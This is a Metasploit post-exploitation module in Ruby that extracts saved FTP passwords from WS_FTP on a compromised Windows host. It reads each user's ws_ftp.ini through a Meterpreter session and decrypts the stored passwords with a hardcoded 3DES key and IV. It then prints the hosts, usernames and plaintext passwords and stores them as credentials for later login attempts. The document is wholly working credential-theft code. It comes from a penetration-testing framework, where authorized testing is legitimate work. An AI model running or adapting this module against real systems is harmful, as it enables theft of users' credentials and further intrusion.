Windows Gather WS_FTP Saved Password Extraction

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::Windows::Registry
  include Msf::Auxiliary::Report
  include Msf::Post::Windows::UserProfiles

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather WS_FTP Saved Password Extraction',
        'Description' => %q{
          This module extracts weakly encrypted saved FTP Passwords
          from WS_FTP. It finds saved FTP connections in the ws_ftp.ini file.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'theLightCosine'],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              core_channel_eof
              core_channel_open
              core_channel_read
              core_channel_write
              stdapi_fs_stat
            ]
          }
        }
      )
    )
  end

  def run
    print_status('Checking Default Locations...')
    grab_user_profiles.each do |user|
      next if user['AppData'].nil?

      check_appdata(user['AppData'] + '\\Ipswitch\\WS_FTP\\Sites\\ws_ftp.ini')
      check_appdata(user['AppData'] + '\\Ipswitch\\WS_FTP Home\\Sites\\ws_ftp.ini')
    end
  end

  def check_appdata(path)
    client.fs.file.stat(path)
    print_status("Found File at #{path}")
    get_ini(path)
  rescue StandardError
    print_status("#{path} not found ....")
  end

  def get_ini(filename)
    config = client.fs.file.new(filename, 'r')
    parse = config.read
    ini = Rex::Parser::Ini.from_s(parse)

    ini.each_key do |group|
      next if group == '_config_'

      print_status("Processing Saved Session #{group}")
      host = ini[group]['HOST']
      host = host.delete '"'
      username = ini[group]['UID']
      username = username.delete '"'
      port =	ini[group]['PORT']
      passwd = ini[group]['PWD']
      passwd = decrypt(passwd)

      next if passwd.nil? || (passwd == '')

      port = 21 if port.nil?
      print_good("Host: #{host} Port: #{port} User: #{username}  Password: #{passwd}")
      service_data = {
        address: Rex::Socket.getaddress(host),
        port: port,
        protocol: 'tcp',
        service_name: 'ftp',
        workspace_id: myworkspace_id
      }

      credential_data = {
        origin_type: :session,
        session_id: session_db_id,
        post_reference_name: refname,
        username: username,
        private_data: passwd,
        private_type: :password
      }

      credential_core = create_credential(credential_data.merge(service_data))

      login_data = {
        core: credential_core,
        access_level: 'User',
        status: Metasploit::Model::Login::Status::UNTRIED
      }

      create_credential_login(login_data.merge(service_data))
    end
  end

  def decrypt(pwd)
    decoded = pwd.unpack('m*')[0]
    key = "\xE1\xF0\xC3\xD2\xA5\xB4\x87\x96\x69\x78\x4B\x5A\x2D\x3C\x0F\x1E\x34\x12\x78\x56\xab\x90\xef\xcd"
    iv = "\x34\x12\x78\x56\xab\x90\xef\xcd"
    des = OpenSSL::Cipher.new('des-ede3-cbc')

    des.decrypt
    des.key = key
    des.iv = iv
    result = des.update(decoded)
    final = result.split("\000")[0]
    return final
  end
end